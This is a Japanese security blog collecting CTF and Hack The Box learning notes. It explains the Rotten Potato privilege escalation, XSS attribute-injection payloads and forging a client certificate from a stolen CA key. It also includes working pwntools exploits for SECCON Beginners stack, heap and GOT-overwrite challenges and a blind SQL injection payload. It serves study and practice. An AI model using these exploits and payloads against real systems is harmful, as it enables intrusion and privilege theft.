セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

Rotten Potato について雑にまとめていく

はじめに

Hack The Boxでようやく重い腰を上げ、Winodws問を始めようとしたのですが、Windowsの権限昇格って何というボヤッとした疑問が出てきました。なので最初に読んだWriteupに出てくるRotten Potatoというツール?手法?をとりあえず掘り下げて見ることにしました。

Rotten Potatoとは

Rotten Potatoはサービスアカウント(ユーザアカウントではない)をNT AUTHORITY\SYSTEMアカウントの権限まで昇格させることができるそうです。

サービスアカウントとは恐らくwordpressを走らせていたりとかそういうアカウントの類でしょうか?(間違っていたらツッコミお願いします。)NT AUTHORITY\SYSTEMAdministratorsグループと同じ権限を持っているので、何でもできそうです。

この手法はHot Potatoをベースにしているようなので、まずそちらから見てみます。

foxglovesecurity.com

Hot Potato

foxglovesecurity.com


参考記事は2016/1/16に書かれてますのでそのつもりで読む。こちらでもNT AUTHORITY\SYSTEMへの昇格をするようです。

Privilege Escalation on Windows 7,8,10, Server 2008, Server 2012 … and a new network attack


1. Local NBNS Spoofer

  • NBNS(NetBIOS Name Service)は名前解決のためのUDPプロトコル。(DNSで名前解決できなかった際にネットワーク内にブロードキャストされる)
  • このリクエストに含まれる対象のホスト名を事前に分かっていれば、NBNSスプーフィングでホストを偽れる。(Hot Potatoの指定したサーバをホストとして偽れる)
  • DNSへの問い合わせ発生の際に、他UDPポートをバインドしておくことでDNS問い合わせが失敗し、NBNSリクエストを出させることが可能。
    • (NBNSパケット内のTXID(2byte)はリクエストとレスポンス間で一致する必要があるが、パケットの中身は見ないので、65536パターンを全て流して対応)

2.Fake WPAD Proxy Server

  • IEはデフォルトでhttp://wpad/wpad.dat”へアクセスしてネットワークプロキシ設定を取得しようとする。
  • 上の1. Local NBNS Spooferを使用して、WPADはループバックの127.0.0.1と嘘の名前解決を行わせる。
  • WPADのリクエストが無事127.0.0.1に飛んできたら、プロキシはlocalhost:80ですと偽る。(この80番のサーバはHot Potatoが自分で建てる)
  • 以降IEのリクエストが全てlocalhost:80を経由して飛ぶようになる。(しかもこのwindowsマシン全てにこの設定が反映されるため、Administratorの通信も飛んでくるようになる)

3. HTTP -> SMB NTLM Relay

  • NTLMリレーは、チャレンジ&レスポンスで認証する方式。(詳しくは調べて)
  • localhost:80へ飛んでくるHTTPリクエストを、どこかNTLM認証の発生するところへ飛ばす。
  • 発生したNTLM認証要求に対して、別途SMBのリスナーで発生させたNTLMのチャレンジを返すことで、正規パスワードを使用したレスポンスを生成させる。
  • レスポンスは再びlocalhost:80を通るので、それを拾いSMBへ返すことでNTLMリレーが成功する。
  • 例えばWindows Update Serviceなどのリクエストを拾うことで、NT AUTHORITY\SYSTEMでの認証が成功する。

補足

  • WPADに関しての情報がキャッシュされているとそもそも名前解決が行われないので、少し待つ必要がある。
  • ここSMBリレーのリバースログオンの解説をしている図は、若干違いますがやろうとしていることは理解しやすいかも。

Rotten Potato

foxglovesecurity.com

こちらは、Privilege Escalation from Service Accounts to SYSTEMと書かれています。James ForshawのBlack Hatのトークと、Google Project Zero researchが元になっているそうです。前述した通り、Hot Potatoでも使用されているローカルネゴシエーションでのNTLMリレーを一部使っているようですが、今回の最終的な目的はAPIをコールしなりすましのトークンを取得することです。

足掛かり

  • System権限で走っているCOMへのAPIコールを利用する。
  • 例えとして、Systemで走っているCOMに対して127.0.0.1:6666からBITSオブジェクトをロードしたいという命令を出す。
    • COM(Component Object Model ).NET Framework以前のソフトウェアの機能を部品化して外部から呼び出して利用できるようにする技術仕様で、古いものですが今でも使用可能な技術とのこと。
    • BITS(Background Intelligent Transfer Service)は使用していないネットワークの帯域を利用して非同期にファイル転送を行う常駐サービス。(?)

Man-In-The-Middle

  • 上記の命令によりCOMRPCプロトコル127.0.0.1:6666と対話しようとする。(BITSはRPCを使うらしい)
  • 127.0.0.1:6666は届いたリクエストを利用してRPC:135ポートへリクエストを送る。->レスポンスをCOMに返す。
  • 上の流れをNTLM認証が発生するまで繰り返す。

NTLM Relay and Local Token Negotiation

NTLM認証が発生したらこの節の作業が始まります。

https://foxglovesecurity.files.wordpress.com/2016/09/potato-auth.png

画像は参考サイトより。青字がCOMの処理、赤字が127.0.0.1:6666の裏での処理になります。この節ではNTLMリレーの裏で、別のプロセスも行われており、APIを呼んでます。

TYPE 1 (NEGOTIATE) PACKET

  • COM127.0.0.1:6666NTLMネゴシエーションパケット内のNTLMセクションを取り出し、それを利用してローカルでネゴシエートするプロセスを開始する(AcquireCredentialsHandleAcceptSecurityContextを呼ぶ)。(上図の赤字の流れ)
    • Hot Potatoでは、送信先(SMB。今回ではRPC)に対して認証を通すような動きであったが、今回は送信元(COM)が対象なのでアプローチが違う。(そもそも今回やりたいことはローカルでのプロセスでImpersonationTokenを発行すること)
  • 127.0.0.1:6666はパケットをそのままRPC:135にも送る。

NTLM TYPE 2 (CHALLENGE) PACKET

  • RPC:135からNTLM認証のチャレンジレスポンスが127.0.0.1:6666へ返ってくる。
  • 127.0.0.1:6666はレスポンス内のNTLM Server ChallengeReservedの値を先程呼んだAcceptSecurityContextの返り値で置き換え、COMに返す。

NTLM TYPE 3 (AUTHENTICATE) PACKET

  • 偽装されたチャレンジを受け取ったCOMはいい感じに認証を進める。
    • ReservedフィールドはSecHandleを参照していて、COMがメモリ上で認証してくれる。
  • 認証作業が終わったら、COMはからのレスポンスを返す(認証は全てメモリ上で行われている)。
  • 127.0.0.1:6666はレスポンスをローカルプロセスでのAcceptSecurityContextコールに使用し、ローカルプロセスでの作業が完了する。(空なのにどこを使うのかはわかりませんでした,,)
  • これにより、ImpersonateSecurityContextが呼べるようになり、impersonation tokenを取得可能になる。(このトークンでCOMが走っていた権限(今回はSystem)でコードが実行可能になるはず?)

その他

  • NTLMは本来はDEC/RPCの認証とネゴシエーションのためのものだった?ので、RPC呼べばとりあえずNTLM認証を発生させられるはず。(他でも発生するなら良い?)
  • BITSRPCを使うようなので、RPCを使わせるためにBITSを使っているような気がする。(ここのDependecesにRPCが指定されているし)
  • このimpersonation tokenを入手するまでの好条件が揃っているのが、最初に書いたサービスアカウント系とのこと。例えば、IISSQL serverを走らせている系。

終わりに

正確な情報かは微妙ですが、やろうとしていることは何となくあっていると思いますが、できれば各節の参考リンク先を見てください。windowsがどう動いているのか知るのは面白いですね。

html属性とXSSの復習

XSS問を通じて、HTMLの挙動がよく分かってなかったと思ったので、そこをちょろっとまとめ直しておきます。

お題

とあるXSS問題。

<input type="text" value="" onclick="hoge('「ここに入力文字が入るよ」')" size=20>
    <input type=submit value="send"><br>
<script>function hoge(a){}</script>

f:id:thinline196:20200615153640p:plain:w400

「ここに入力文字が入るよ」の箇所に入力が埋め込まれてレスポンスが返ってくる感じ。ただし、エスケープは以下のようにされます。

「\」→「 \\」
「'」→「 \'」
「"」→「 \"」
「space」→「+」


これに対して私は以下のシグネチャで通った。 "onmouseover=alert(document.cookie);//

最終的に生成されたのはこちら。

<input type=text onclick="hoge('\"onmouseover=alert(1);//')" size=20>

これなんでマウスオーバー動くの。あ、これが自明な方は、得る知識がないと思われるのでブラウザバックで、、、

注意

</>タグ閉じなどを使えそうですが、今回はそこは見ないフリか追加で対策されているものとしてください、、、

調査

"エスケープ

そもそも"エスケープが\"では不十分。属性値を囲っている記号"は、\エスケープしてもその値の終端として解釈される。&quot;エスケープすること。

    test1(esaape to \")
    <input type="text" onclick="\" hoge="v" size=20>
    
     test2(escape to &quot;)
    <input type="text" onclick="&quot; hoge="v" size=20>


入力は" hoge="v"とする。test2ではvの手前の"が属性値の終わりと解釈されている。

属性間のスペースがなくても動作する

例えば、、

<input type="text"name="aa"onclick="hoge('hoge')"size=20>

これでもしっかり動きます。

逆に今回は、入力値にスペースを入れようと(" onmouseover=..)すると+エスケープされ、+mouseoverのような属性はないぞ、とのことになり発火はしないです。なので、今回のシグネチャでは"onmouseoverの間はスペースなしが必須となるようです。

文字が続いている限りスクリプト解釈

今回のシグネチャ内のonmouseover=以降は、"で囲われていないため、スペースまで(連続文字の箇所)がスクリプトと解釈されるようです。

    test3 
    <input type="text" onclick="hoge('\"onmouseover=alert(1);//')" size=20>
    <input type=submit value="send"><br>

    test4 (実際>は入力できなかった)
    <input type="text" onclick="hoge('\"onmouseover=alert(1)> //')" size=20>
    <input type=submit value="send"><br>

    test5
    <input type="text" onclick="hoge('\"onmouseover=alert(1); //')" size=20>
    <input type=submit value="send"><br>


シンタックスハイライトで見えているかと思われますが、test3test4onmouseoverの値の範囲が違うと思います。

html//コメントアウトと解釈しませんが、今回の例test3では、onmouseoverから文字が連続しているため//スクリプト側でコメントアウトと解釈されていました。ですので今回はコメントアウトすることで後ろの入らない文字を消していました。

test4は無理やりタグを閉じてしまったので、後ろはただの文字として表示されます。

余談

&#92;(バックスラッシュの意)のような数値文字参照?(っていうんですかね?)を使ったりなども可能。で、下のシグネチャなどもok

&#92;');alert(1);//

この場合、'\'エスケープされるが、\\'となるため\エスケープ対象となり結果的に\'と解釈され、hogeメソッドの引数内をうまく閉じている。

【Hack The Box】クライアント証明書を作成してごにょごにょ[LaCasaDePapel]

クライアント証明書作る当たりが曖昧だったので、簡単に残しておきます。

hacktheboxLaCasaDePapelというリタイアboxがあるのですが、そこのページがクライアント証明書を要求してくる。ので、クライアント証明書を作りたい。別脆弱性を使って認証局(CA)の秘密鍵を入手している状態です。

やること・手順

webページがクライアント証明書を要求してくるのでなんとか発行してページを閲覧したい。

  1. CAの秘密鍵が手に入ったのでこれを使う
  2. 自分用の鍵と証明書申請を生成
  3. webページから証明書内の公開鍵を入手
  4. CA秘密鍵, CA公開鍵, 自分の申請書より、自分のための公開証明書を作成(本来はCAで発行してもらう)
  5. ブラウザに設定しページにアクセス

用語・ファイルの説明

ファイル名には決まりはないのでこれに限らない。

用語・ファイル名 説明
CSR(.csr) 証明書署名要求。証明書の申請時に提出するファイル。このファイルに含まれる情報を元に証明書を発行
.crt 認証局が署名した証明書(公開鍵を含む) 
pkcs12 秘密鍵と証明書を 1つのファイルに格納する形式。firefox.crtじゃダメらしいのでこの.p12形式に変換する
ca.key 脆弱性をついて入手したCAの秘密鍵。本来は外から入手できてはいけない
caca.key 自分の秘密鍵。登録用に今回生成した
caca.csr 上で生成した鍵を登録申請するために使う。(公開鍵、所有者情報、秘密鍵を持っていることを示す申請者の署名が記載)
casadepapel.crt webページに登録されているCAの公開鍵(証明書)
pipi.crt 手元で生成した、クライアント証明書。CAの発行と同じ方法で作られる

手順

$ls
ca.key

CAの秘密鍵が入手されている状態

$openssl req -new -newkey rsa:2048 -nodes -keyout caca.key -out caca.csr 

自分の秘密鍵caca.keyと証明書署名要求caca.csrを生成

$openssl s_client -connect 10.10.10.131:443 -showcerts

対象ページの証明書を表示. その中から公開鍵(.crt)にあたる部分を抽出しcasadepapel.crtとして保存する。(手動) ブラウザから証明書をエクスポートしても良い。 *10.10.10.131は今回のboxの対象サーバ

$ openssl pkey -in ca.key -pubout| md5sum;openssl x509 -in casadepapel.crt -pubkey -noout| md5sum
71e2b2ca7b610c24d132e3e4c06daf0c  -
71e2b2ca7b610c24d132e3e4c06daf0c  -

入手した秘密鍵の対の公開鍵と証明書内の公開鍵が本当に一致するか確認。

$openssl x509 -req -in caca.csr -CA casadepapel.crt -CAkey ca.key -CAcreateserial -out pipi.crt -sha256

申請書、CAの公開鍵と秘密鍵から、自分のための公開証明書pip.crtを作成。(CAの秘密鍵で証明書署名要求に署名する。(認証局による公開鍵への署名)本来は認証局がやる作業。で、サーバ側からCAに使われたと思われる秘密鍵を入手できたので、自分の鍵(caca)がCAに認証された様にできるはず)。これがおそらくクライアント証明書。

しかし、firefoxに証明書を登録するにはpkcs12形式でないとダメらしいので、変換。

$openssl pkcs12 -export -in pipi.crt -inkey caca.key -out pipi.p12

pipi.crtPreferencesより登録して、対象ページにアクセスすれば自分をサーバ側が認証してくれる様になるはず。

参考

LaCasaDePapel - Hipotermia

【用語明解】証明書の申請で登場する各種ファイルの見分け方 | 大手正規SSL証明書が定価よりMAX66%OFFから 【 SSLコンシェル 】

OpenSSLによるオレオレ認証局が署名した証明書の作成 - Qiita

クライアント認証利用ガイド | スパイラル サポートサイト

SECCON Beginners CTF 2020 復習回

今回は1週間前からPwnを初めて、Pwnだけ解くという参加方法をしました。せっかくなので、残骸を残しておきます。WriteUpとしては他の方の記事の方が優れているので、そちらを参考にして下さい。

Beginner's Stack

次のような感じで、現在のスタックを表示してくれる、かつ問題の誘導もついていました。winのアドレス0x400861を呼ぶのが目標。Inputの入力から、bufに値を流し込めるため、たくさん文字を入力すればどんどん下に文字がたまっていきます。(適切な表現ではない)

$ ./chall 
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe7911f570 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffe7911f578 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe7911f580 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe7911f588 | 0x00007f1dcb402190 |
                   +--------------------+
0x00007ffe7911f590 | 0x00007ffe7911f5a0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe7911f598 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffe7911f5a0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe7911f5a8 | 0x00007f1dcb224e0b | <-- return address (main)
                   +--------------------+
0x00007ffe7911f5b0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe7911f5b8 | 0x00007ffe7911f688 |
                   +--------------------+

Input: 

このvulnのリターンアドレスの箇所にwinのアドレスを書き込めばvuln関数を抜ける時にwinに飛びました(この辺りはバイナリを読んで掴むっぽい)

しかし、RSPは0x10倍でなければlibc-2.27systemなどの関数が呼べないとのこと。このままで行くと末尾が0x8になるっぽかったのでだめ。どうにかスタックをずらしたい。幸いwinの先頭命令がpush rbpだった(大体rbpの退避が行われてる)ので、これを読み飛ばせばスタックがずれそう。0x400862に飛ばしました。

[*] Switching to interactive mode

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd8d7134a0 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007ffd8d7134a8 | 0x6161616161616161 |
                   +--------------------+
0x00007ffd8d7134b0 | 0x6161616161616161 |
                   +--------------------+
0x00007ffd8d7134b8 | 0x0000000000000010 |
                   +--------------------+
0x00007ffd8d7134c0 | 0x00007ffd33913990 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd8d7134c8 | 0x0000000000400862 | <-- return address (vuln)
                   +--------------------+
0x00007ffd8d7134d0 | 0x0000000000400a0a | <-- saved rbp (main)
                   +--------------------+
0x00007ffd8d7134d8 | 0x00007eff9ed82b97 | <-- return address (main)
                   +--------------------+
0x00007ffd8d7134e0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffd8d7134e8 | 0x00007ffd8d7135b8 |
                   +--------------------+

Congratulations!
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ 

記念に汚いコードも残して置きましょう。

from pwn import *
import time

r = remote('bs.quals.beginners.seccon.jp', 9001)

# _=raw_input() #debug
#2つ目のpackは意味ないはず
r.sendlineafter(b'Input:', b'a'*24 + pack(0x10,word_size='64') + pack(0x00007ffd33913990,word_size='64')+ pack(0x400862,word_size='64'))

time.sleep(1)
print(r.recv(9999))
r.interactive()


Beginner's Heap

こちらも誘導付きでした。tcacheというfreeされた小さい領域がキャッシュされる場所を使ってwinを呼びます。__free_hookは解放される際に、書き込まれている関数を実行してくれるらしいので、hookにwinのアドレスを書き込むことが目標。

Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7fa3a956c8e8
 <win>: 0x55d661063465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 4
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55d66142f330
 [+] B = (nil)

                   +--------------------+
0x000055d66142f320 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f328 | 0x0000000000000021 |
                   +--------------------+
0x000055d66142f330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x000055d66142f338 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f340 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f348 | 0x0000000000020cc1 |
                   +--------------------+
0x000055d66142f350 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f358 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f360 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f368 | 0x0000000000000000 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


Aに書き込むをすれば、オーバーフローしてBの領域に書き込めます。その上からBに値を入れてみると確かにAが溢れてます。

> 1  <-- Aに書き込み
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> 2 <--Bに書き込み
ccccccc

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55d66142f330
 [+] B = 0x55d66142f350

                   +--------------------+
0x000055d66142f320 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f328 | 0x0000000000000021 | <--Aのサイズ
                   +--------------------+
0x000055d66142f330 | 0x6161616161616161 | <-- A
                   +--------------------+
0x000055d66142f338 | 0x6161616161616161 |
                   +--------------------+
0x000055d66142f340 | 0x6161616161616161 |
                   +--------------------+
0x000055d66142f348 | 0x0000000000000021 | <--heapはリスト型になっていて、Bの書き込める領域のサイズを現してる(ヘッダ(サイズ以外にも情報を持ってる))
                   +--------------------+
0x000055d66142f350 | 0x0a63636363636363 | <-- B (ここからが書き込める場所)
                   +--------------------+
0x000055d66142f358 | 0x6161616161616161 |
                   +--------------------+
0x000055d66142f360 | 0x6161616161616161 | <--AがBの領域に書き込んでる
                   +--------------------+
0x000055d66142f368 | 0x6161616161616141 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Bをfreeすると先ほどのtcacheに繋がります。どういうことかというと、Bがあった場所がtcacheにポインタで繋がったイメージ。なので、Bの場所自体はそのままAの下に残ります。こんな感じでまたどこかのメモリが解放されると、 今度はBからそのメモリへ繋がるというように、単方向のリストになっているそう。で、ポイントなのがtcacheに繋がった時に、0x000055d66142f350の8byte分(先頭領域)は次に繋がるメモリを指す場所として使われる(fd)。
f:id:thinline196:20200526223826p:plain
ので、

  1. Bを解放する
  2. Aで0x000055d66142f350hookのアドレスを書き込む

でBの次はhookが繋がる。これの何が良いかというと、次Bと同じ大きさの領域を確保する時、tcacheの先頭に繋がれたものから再利用されるらしい。てことはどうにかBを退ければ2の操作をした時にhookが返されのhookの領域に書き込める。


てなわけで、一度hookがtcacheに繋がれたら、次はBの大きさを書き換えて、tcacheに繋がれないようにすれば良い。(今回使っていたのは0x20サイズのtcacheらしい)例えばサイズを0x30とすれば、0x30専用のtcacheに回されるらしい?この後は、再び2の操作をすればhookの領域が返されてwinのアドレスを書き込めるのでok


私の汚いコードです。

from pwn import *
import time

r = remote('bh.quals.beginners.seccon.jp', 9002)
for i in range(8):
    r.recvline()
hook = r.recvline() # hook
win = r.recvline() # win
print(hook)
hook = int(hook[18:-1].decode(),16)
win = int(win[10:-1].decode(),16)

r.sendline('4') # print
for i in range(32):
    r.recvline()
b_size = r.recvline() # B heap size
b_size = int(b_size[6:18].decode(),16)


r.sendline('2') # malloc B
r.sendline('bbbb') 
time.sleep(1)
r.sendline('3') # free B
time.sleep(1)

b_size = hook - b_size

r.sendline('1') # A
r.sendline(b'a'*24+ pack(0x30, word_size='64') +pack(hook, word_size='64') + pack(0x0, word_size='128') + pack(0x0, word_size='64'))

time.sleep(1)
r.sendline('2') # malloc B
r.sendline('a') # input any
time.sleep(1)
r.sendline('3') # set free and tcache indicate to hook address

time.sleep(1)
r.sendline('2') # B indicate hook
r.sendline(pack(win, word_size='64')) # write win address 
time.sleep(1)
r.sendline('3') # free B and execute win on hook address
r.interactive()

他の方のをみると文字の拾い方などが全然違うのでもっと綺麗に書ける。

Elementary Stack

これは解けなかったので復習用。参考元は作者さんです。

SECCON Beginners CTF 2020 作問者Writeup - CTFするぞ

...

__attribute__((constructor))
void setup(void) {
  setbuf(stdout, NULL);
  alarm(30);
}

__attribute__((noreturn))
void fatal(const char *msg) {
  printf("[FATAL] %s\n", msg);
  exit(0);
}

long readlong(const char *msg, char *buf, int size) {
  printf("%s", msg);

  if (read(0, buf, size) <= 0)
    fatal("I/O error");
  buf[size - 1] = 0;

  return atol(buf);  ②
}

int main(void) {
  int i;
  long v;
  char *buffer;
  unsigned long x[X_NUMBER];

  if ((buffer = malloc(0x20)) == NULL)
    fatal("Memory error");

  while(1) {
    i = (int)readlong("index: ", buffer, 0x20);
    v = readlong("value: ", buffer, 0x20);

    printf("x[%d] = %ld\n", i, v);
    x[i] = v;  ①
  }
  return 0;
}

readlongで指定したインデックス番目にvalue値を代入する感じ。bufferの値を上手く書き換える。プロの方は皆x[-2]bufferだって言っていたけれど、自分はまだ自明に見える段階に至っていないので困った。言われた後、①にbreakを挟んでスタックを見たら確かに0x10分小さい場所にあったので、long2つ分手前になる。最終的にreturn atol(buf)return system("/bin/sh")みたいにさせたい。

buffermallocを指せば、そこに色々書き込める。 f:id:thinline196:20200526223753p:plain

  1. input: x[-2]でbufferを指すように
  2. value: mallocを指しているアドレス
  3. ①でbufferがmallocを指しているアドレスを指す
  4. input: 0xdeadbeaf+ printfmallocの場所に書き込む
  5. value: printfの引数をbufに書き込む
  6. ②がprintf(%25p$n)として発火(リーク)
  7. input: deadbeaf+systemmallocの場所に書き込む 1.value: systemの引数をbufに書き込む 1.②がsystem('/bin/sh')として発火

今回はちょっと%25のインデックスの理由まで追えてないですが、同じくこのサイトさんで解説されてるやつのなので、今度目を通して置きます。

Format String Exploitを試してみる - CTFするぞ

from pwn import *

libc = ELF("./libc-2.27.so")
elf = ELF("./chall")
context.binary = elf
#r = remote("localhost",4000)
r= remote("es.quals.beginners.seccon.jp", 9003)
delta = 0xe7
print(elf.symbols['got.atol'])

r.sendlineafter(": ", "-2")
r.sendlineafter(": ", str(elf.symbols['got.malloc']))

r.sendlineafter(": ", p64(0xdeadbeef) + p64(elf.symbols["plt.printf"]))
r.sendlineafter(": ", "%25$p")
libc_base = int(r.recvline(),16) - libc.symbols["__libc_start_main"] - 0xe7
libc_system = libc_base + libc.symbols["system"]


r.sendlineafter(":", p64(0xdeadbeaf) + p64(libc_system))
r.sendlineafter(":", "/bin/sh")
# r.sendafter(":", "/bin/sh\0")
r.interactive()

Tweetstore(おまけ)

Pwnしかやらないって言ってたけどあれは嘘で、実は耐えきれなくて適当に一問解いてた。limit句の後にインジェクションする。結果がレコード数に反映される感じだったので、asciiでレコード数数えて行くのが定石っぽいんだけど、僕は脳死when case。総当たりステータスコードで判断。

sql = "(SELECT (CASE WHEN ((SELECT concat(substr(usename,{index},1)) from pg_user order by usename asc limit 1) = '{flag}') THEN 2 ELSE (select 11 union select 22) END));".format(index = index, flag = char)

余談だけどもこのselect 11とかのは以前sqlmapさんがやってるのを見てそれ以来真似てこんな書き方してる。絶対もっといい方法ある

unzip(おまけ)

これは終了後見てた。zipに相対パスのファイル名を仕込むやつです。圧縮する前に相対パスに書き換える分だけ別文字でファイル名を形成しておかないと、上手くいかない。../flag.txtならaaaflag.txtにしておく。忘れそうなのでメモ。

最後に

Pwn面白かったので、時間が空いたら勉強したいです

【HTB】boxとの接続が切れる

あらまし

Hack the Boxの問題を解いている際に、sshなどでboxに繋いでいると時たま制御不能になります。大体4分ぐらい待つと帰ってくる。

そもそもブラウザアクセスもできないので、向こうのboxが落ちたり再起動かかっているのかと思っていた。

解決

openvpntcpで繋ぐ。メインページにも書いてある事なので、デフォルトのudpではよくあることのようです。今まで見落としていました、、

Alternate TCP Connection By default, our network uses UDP port 1337. If this port is blocked at your location, you can try switching to TCP 443 by editing your .ovpn file.

  • Change proto udp to proto tcp
  • Change remote {serverAddressHere} 1337 to remote {serverAddressHere} 443
  • Change <tls-auth> to <tls-crypt>
  • Change </tls-auth> to </tls-crypt>

引用:https://www.hackthebox.eu/home/htb/access


とりあえず切れなくなりました。

追記

tcpだとリバースシェルがうまく張れない時があることを確認(この時UDPでは張れたが最初のすぐ切れる現象有り) f:id:thinline196:20200510164454p:plain

さらに追記

最近接続が切れないのはUSのサーバ使っているからな気がしました。